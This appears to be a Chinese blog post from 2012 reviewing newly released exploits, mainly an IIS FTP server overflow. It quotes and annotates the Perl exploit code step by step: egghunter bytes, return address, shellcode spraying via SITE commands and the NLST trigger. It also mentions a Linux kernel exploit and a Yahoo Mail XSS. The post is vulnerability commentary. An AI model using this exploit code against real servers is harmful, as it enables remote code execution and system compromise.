Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1198992
  • 博文数量: 272
  • 博客积分: 3899
  • 博客等级: 中校
  • 技术积分: 4734
  • 用 户 组: 普通用户
  • 注册时间: 2012-06-15 14:53
文章分类

全部博文(272)

文章存档

2012年(272)

分类: 网络与安全

2012-06-26 16:22:04

就像昨天大陆A股暴跌一样(15个月以来最大跌幅),今天exp也爆发了

linux
内核提权的一下又出了几个exp,其中有一个




和上次的 sock_sendpage 都是google安全team Tavis Ormandy 等人发现的。

但是这个exp,从title看来,应该是0x82写的。

0x82-CVE-2009-2698

如果搞linux溢出有段时间的朋友,可能对他们会有印象,当年那个远程bypass execshield的方法就是他们搞出来的。

在一个 so 中找一个固定不变的 retaddr,绕过堆栈不可执行。和windows里的利用方法很相似

如果我没记错的,这是个韩国的安全组织。

其次是,事隔这么多年,终于出现了 IIS FTPD 0day(注意,需要验明真假)



Kingcope
发现的,exp也是他写的。

comment
里明明写的keep private,时间是这个月,也不知道谁给捅出来的。

同时也不知道这个洞的发现是不是这个月,还是说已经藏了很多年。

IIS6
也受影响,但是受到stack cookie的保护,也许可以覆盖SEH利用试试,我没环境调试,就不看这个漏洞了。

只是这个漏洞的出现仍然让我兴奋了一把,遥想当年servu溢出横行的年代,包括proftpdwu-ftpd等一批FTPD被溢出的年代。

经常有朋友问,用啥FTP好啊,我们都笑言说用微软自带的FTP最安全,过了这么多年,红旗最终还是倒下了。

可惜这是一个post-auth的漏洞,就是需要有账户。

我们看看细节,我注释在下面的代码中:

$patch = "\x7E\xF1\xFA\x7F";   #
比较通用的地址,不过不知道是哪个opcode,需要查一下
#$retaddr = "ZZZZ";
$retaddr = "\x9B\xB1\xF4\x77"; # JMP ESP univ on 2 win2k platforms #
真正的retaddr,不过这个不是通用地址,需要改成通用的
$v = "K***Y" . $sc . "V" x (500-length($sc)-5);    #
构造shellcode
# top address of stack frame where shellcode resides, is hardcoded inside this block
$findsc="\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53"   #egghunter
,用于找到真正的shellcode。注意,
作者的描述似乎是说把栈地址硬编码死了,所以直接用这段sc是不会溢出成功的!需要自己改
   ."\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0";
# attack buffer
$c = $findsc . "C" . ($patch x (76/4)) . $patch.$patch.     #
真正的payload构造
   ($patch x (52/4)) .$patch."EEEE$retaddr".$patch.
   "HHHHIIII".
$patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN";
$x = <$sock>;
print $x;                            
print $sock "USER anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "PASS anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "MKD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)  #
多次重复构造shellcode塞进内存里,方便egghunter找到
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "CWD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "MKD CCC". "$c\r\n";
$x = <$sock>;
print $x;
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";
$x = <$sock>;
print $x;
# TRIGGER
print $sock "NLST $c*/../C*/\r\n";   #
注意这里,漏洞触发了!
$x = <$sock>;
print $x;


代码很简单,调试一下应该能够验明正身。


此外今天还出了个mailenable 1.52exp,我看了下,是HTTP的。我以前写过很多mailenableexp,也没有放出来,最终都烂掉了。


最后就是yahoo mail 新的xss,作者发在 sla.ckers论坛里了,并声称联系过yahoo,没有得到答复。

我就想,你真的有认真联系过yahoo安全team吗?他们其实很好找。但是现在很多报漏洞的,都是象征性的打打客服电话,就急不可耐的公开漏洞了!!!


PS:
补充,刚看了FDIIS FTPD那个好像是kingscope自己捅出来的,由于触发漏洞前必须要 MKDIR一下,所以很多fuzzer没找到这个洞

 

阅读(1238) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~